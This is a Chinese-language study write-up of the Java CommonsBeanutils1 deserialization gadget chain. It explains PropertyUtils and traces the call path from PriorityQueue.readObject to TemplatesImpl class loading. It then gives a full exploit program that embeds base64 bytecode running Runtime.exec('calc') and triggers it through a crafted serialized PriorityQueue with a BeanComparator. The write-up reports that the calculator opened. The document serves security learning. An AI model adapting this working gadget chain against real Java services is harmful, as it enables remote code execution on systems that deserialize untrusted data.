java_CommonsBeanutils1利用链学习
之所以会提到CommonsBeanutils的反序列化链,是因为shiro是依赖commons-beanutils的,当然这是接下来学习的东西的。
根据名字就知道,类似Commons-Collections是对集合的封装和补充,commons-beanutils是应用于javabean的工具。
至于什么是JavaBean,放一下维基百科的定义,很简单:
- 有一个public的无参数构造函数。
- 属性可以透过get、set、is(可替代get,用在布尔型属性上)方法或遵循特定命名规则的其他方法访问。
- 可序列化。
第二条说白了就是属性都有访问器和更改器。而commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty
,让使用者可以直接调用任 意JavaBean
的getter
方法
环境
commons-beanutils1.9.2
commons-logging:1.2
commons-collections:3.1
JDK 8u62
调用链
1 2 3 4 5 6 7 8 9 10 11
| PriorityQueue.readObject()-> PriorityQueue.heapify()-> PriorityQueue.siftDown()-> PriorityQueue.siftDownUsingComparator()-> BeanComparator.compare()-> PropertyUtils.getProperty()-> TemplatesImpl.getOutputProperties()-> TemplatesImpl.newTransformer()-> TemplatesImpl.getTransletInstance()-> TemplatesImpl.defineTransletClasses()-> TemplatesImpl.TransletClassLoader.defineClass()
|
PropertyUtils
它是对JavaBean进⾏操作的⼯具类,可单独为某个属性进⾏值的操作的⼯具类。它利⽤反射操作Bean的属性
⼀个简单的JavaBean
1 2 3 4 5 6 7 8 9 10 11 12 13
| package main.java.CommonsBeanutils;
public class test { private int a = 123;
public int getA() { return a; }
public void setA(int a) { this.a = a; } }
|
PropertyUtils类下提供了⼀些静态⽅法,以⽅便开发者直接调⽤⼀些getter和setter⽅法:
- getProperty:返回指定Bean的指定属性的值
- getSimpleProperty:返回指定Bean的指定属性的值
- setProperty:设置指定Bean的指定属性的值
- setSimpleProperty:设置指定Bean的指定属性的值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| package main.java.CommonsBeanutils;
import org.apache.commons.beanutils.PropertyUtils;
import java.lang.reflect.InvocationTargetException;
public class test { private int a = 123;
public int getA() { return a; }
public void setA(int a) { this.a = a; }
public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { test ycx = new test(); ycx.setA(234); int b = (int) PropertyUtils.getProperty(ycx,"a"); System.out.println(b); } }
|
输出234
PropertyUtils类中的方法就是调用相关属性的getter和setter方法
分析调用链
前面和后面和cc链2基本一致,我们主要看从BeanComparator开始
首先判断property属性是否为null,由于我们等会会对其进行赋值,肯定是不为null,然后调用property属性的getter方法,我们这里将其赋值为_outputProperties属性
跟进TemplateImpl类
调用newTransformer()方法,后面也就和cc链2基本一致了
尝试编写exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56
| package main.java.CommonsBeanutils;
import com.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException; import com.sun.org.apache.xml.internal.security.utils.Base64; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.collections4.comparators.TransformingComparator; import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.PriorityQueue;
public class exp { public static void main(String[] args) throws Base64DecodingException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchFieldException, IOException { byte[] bytes = Base64.decode("yv66vgAAADQAMgoAAgADBwAEDAAFAAYBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAGPGluaXQ+AQADKClWCgAIAAkHAAoMAAsADAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwgADgEABGNhbGMKAAgAEAwAEQASAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwcAFAEAE2phdmEvbGFuZy9FeGNlcHRpb24KABMAFgwAFwAGAQAPcHJpbnRTdGFja1RyYWNlBwAZAQAfbWFpbi9qYXZhL2NjMi9UZXN0VGVtcGxhdGVzSW1wbAEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAEdGhpcwEAIUxtYWluL2phdmEvY2MyL1Rlc3RUZW1wbGF0ZXNJbXBsOwEADVN0YWNrTWFwVGFibGUBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAKgEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV4Y2VwdGlvbgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEAFlRlc3RUZW1wbGF0ZXNJbXBsLmphdmEAIQAYAAIAAAAAAAMAAQAFAAYAAQAaAAAAfAACAAIAAAAWKrcAAbgABxINtgAPV6cACEwrtgAVsQABAAQADQAQABMAAwAbAAAAGgAGAAAADAAEAA4ADQARABAADwARABAAFQASABwAAAAWAAIAEQAEAB0AHgABAAAAFgAfACAAAAAhAAAAEAAC/wAQAAEHABgAAQcAEwQAAQAiACMAAgAaAAAAPwAAAAMAAAABsQAAAAIAGwAAAAYAAQAAABYAHAAAACAAAwAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAmACcAAgAoAAAABAABACkAAQAiACsAAgAaAAAASQAAAAQAAAABsQAAAAIAGwAAAAYAAQAAABoAHAAAACoABAAAAAEAHwAgAAAAAAABACQAJQABAAAAAQAsAC0AAgAAAAEALgAvAAMAKAAAAAQAAQApAAEAMAAAAAIAMQ=="); Class<?> aClass = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"); Constructor<?> constructor = aClass.getDeclaredConstructor(new Class[]{}); Object TemplatesImpl_instance = constructor.newInstance(); Field bytecodes = aClass.getDeclaredField("_bytecodes"); bytecodes.setAccessible(true); bytecodes.set(TemplatesImpl_instance , new byte[][]{bytes}); Field name = aClass.getDeclaredField("_name"); name.setAccessible(true); name.set(TemplatesImpl_instance , "TestTemplatesImpl");
BeanComparator beanComparator = new BeanComparator("outputProperties");
PriorityQueue queue = new PriorityQueue(2); queue.add(1); queue.add(1);
Field field=queue.getClass().getDeclaredField("comparator"); field.setAccessible(true); field.set(queue,beanComparator);
field=queue.getClass().getDeclaredField("queue"); field.setAccessible(true); Object[] objects = new Object[]{TemplatesImpl_instance , TemplatesImpl_instance}; field.set(queue,objects);
ByteArrayOutputStream barr = new ByteArrayOutputStream(); ObjectOutputStream oos = new ObjectOutputStream(barr); oos.writeObject(queue); oos.close(); ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray())); Object object = ois.readObject(); } }
|
成功弹出计算器